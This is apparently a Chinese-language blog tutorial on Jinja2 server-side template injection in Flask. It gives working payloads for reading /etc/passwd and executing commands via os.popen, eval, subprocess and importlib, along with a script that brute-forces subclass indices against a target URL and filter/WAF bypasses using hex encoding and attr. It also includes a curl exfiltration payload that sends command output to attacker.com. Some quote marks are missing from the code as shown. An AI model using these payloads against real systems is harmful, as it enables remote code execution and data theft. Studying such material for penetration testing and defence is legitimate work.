Jinja2 SSTI实战:从基础注入到高级绕过技巧全解析

张开发
2026/4/21 15:37:55 15 分钟阅读

分享文章

Jinja2 SSTI实战:从基础注入到高级绕过技巧全解析
1. Jinja2 SSTI漏洞基础入门第一次接触SSTI漏洞是在2018年的一个内部安全测试项目中。当时发现一个简单的{{7*7}}输入竟然在页面上返回了49这个意外发现让我意识到模板引擎的潜在危险。Jinja2作为Flask框架默认的模板引擎其强大的功能背后隐藏着不小的安全隐患。SSTIServer-Side Template Injection的本质是用户输入被直接拼接进模板代码中执行。想象一下如果把用户提供的数学题直接交给计算器执行那么恶意用户完全可以输入删除所有文件这样的数学题。在Jinja2中当开发者使用render_template_string()函数时如果直接将用户输入作为模板内容就会打开这个潘多拉魔盒。判断是否存在SSTI漏洞有个简单的方法尝试输入{{7*7}}、{{ab}}这类表达式。如果页面返回计算后的结果49或ab基本可以确认漏洞存在。不过要注意不同模板引擎的语法可能有差异Jinja2使用双花括号{{}}而有些引擎可能使用% %等其他符号。理解Flask框架的工作机制很重要。当Flask处理请求时它会将模板文件或字符串交给Jinja2引擎渲染。正常情况下模板中的变量会被安全地转义输出。但一旦用户输入被当作模板代码解析就会导致任意代码执行。这就好比本来只允许用户在留言板上写文字结果却把留言板内容当成了后台代码执行。2. 魔术方法与类继承体系Python的魔术方法是理解SSTI利用的关键。记得我第一次看到__class__这样的属性时觉得很神秘后来发现它们就像是对象的身份证和家族族谱。通过这组特殊属性我们可以从一个简单字符串出发最终找到能执行系统命令的危险方法。让我们用实际例子来说明这个探索过程class Animal: def speak(self): return Generic animal sound class Dog(Animal): def speak(self): return Woof! my_dog Dog()在这个例子中my_dog.__class__会指向Dog类my_dog.__class__.__base__则指向Animal父类。Jinja2模板中我们可以用同样的方式遍历继承链。比如{{.__class__}}会显示字符串的类class str而{{.__class__.__base__}}则显示所有字符串的基类class object。最危险的是__subclasses__()方法它会返回一个类的所有子类列表。在Python环境中这些子类中往往包含可以执行命令或操作文件的类。通过脚本可以快速查找这些危险类的位置# 查找包含os模块的子类 for i, subclass in enumerate(.__class__.__base__.__subclasses__()): if hasattr(subclass, __init__) and hasattr(subclass.__init__, __globals__): if os in subclass.__init__.__globals__: print(fIndex {i}: {subclass})3. 常用攻击模块与利用方式在实战中有几种常见的模块可以用来突破限制。文件读取通常是最先尝试的方式特别是当目标存在_frozen_importlib_external.FileLoader这类子类时。记得有次渗透测试通过{{.__class__.__base__.__subclasses__()[X].get_data(0,/etc/passwd)}}这样的payload成功读取了系统文件。命令执行则有更多选择。如果环境中有os模块可用最简单的就是{{config.__class__.__init__.__globals__[os].popen(id).read()}}。但有时会遇到模块被限制的情况这时就需要寻找替代方案eval函数通过内置函数执行Python代码{{.__class__.__base__.__subclasses__()[X].__init__.__globals__[__builtins__][eval](__import__(os).system(whoami))}}subprocess模块更隐蔽的命令执行方式{{.__class__.__base__.__subclasses__()[X](whoami,shellTrue,stdout-1).communicate()[0]}}importlib技巧动态加载危险模块{{.__class__.__base__.__subclasses__()[X].load_module(os).popen(id).read()}}在实际测试中我习惯先用Python脚本自动化查找可用的模块索引。比如这个查找popen函数的脚本import requests target http://example.com/vulnerable for i in range(500): payload f{{{{.__class__.__base__.__subclasses__()[{i}].__init__.__globals__.__contains__(popen)}}}} r requests.post(target, data{input:payload}) if True in r.text: print(fFound popen at index {i}) break4. 高级绕过技巧实战随着防护措施的加强基础的payload往往会被拦截。这时候就需要各种绕过技巧就像黑客与防护系统的猫鼠游戏。记得有次遇到严格过滤的项目光是绕过就花了三天时间最终用十六进制编码解决了问题。4.1 符号过滤绕过双大括号过滤是最常见的防护措施。这时候可以改用{% if ... %}...{% endif %}这样的控制语句结构。例如{% if .__class__.__base__.__subclasses__()[X].__init__.__globals__.popen(id).read() %} {{1}} {% endif %}中括号过滤时可以用__getitem__方法代替。比如[os]可以写成.__getitem__(os)。我曾经遇到一个案例通过这种替换成功绕过了WAF{{.__class__.__base__.__subclasses__().__getitem__(X).__init__.__globals__.__getitem__(os).popen(id).read()}}4.2 关键字过滤绕过当class、base等关键词被过滤时字符串拼接是个好办法。可以用[__class__]或者更隐蔽的Jinja2过滤器{% set a__cla %}{% set bss__ %}{{ ()[a~b] }}编码绕过也很有效比如十六进制编码{{ ()[\x5f\x5fclass\x5f\x5f][\x5f\x5fbase\x5f\x5f] }}4.3 特殊场景处理无回显场景下可以考虑带外通信(OOB)或者反弹shell。我常用的一个技巧是使用curl发送数据到外部服务器{{.__class__.__base__.__subclasses__()[X].__init__.__globals__.popen(curl http://attacker.com/?data$(whoami|base64)).read()}}数字过滤时可以用字符串长度或数学运算生成所需数字{% set idxaaaaa|length %}{{.__class__.__base__.__subclasses__()[idx]}}多重过滤组合的情况下需要灵活组合各种技巧。比如同时过滤了点和下划线时可以这样构造{{()|attr(\x5f\x5fclass\x5f\x5f)|attr(\x5f\x5fbase\x5f\x5f)}}在真实环境中防护措施往往不是单一的。我建议先通过fuzz测试确定具体的过滤规则然后针对性地设计绕过方案。记得保存常用的payload模板并根据实际情况调整这能大大提高测试效率。

更多文章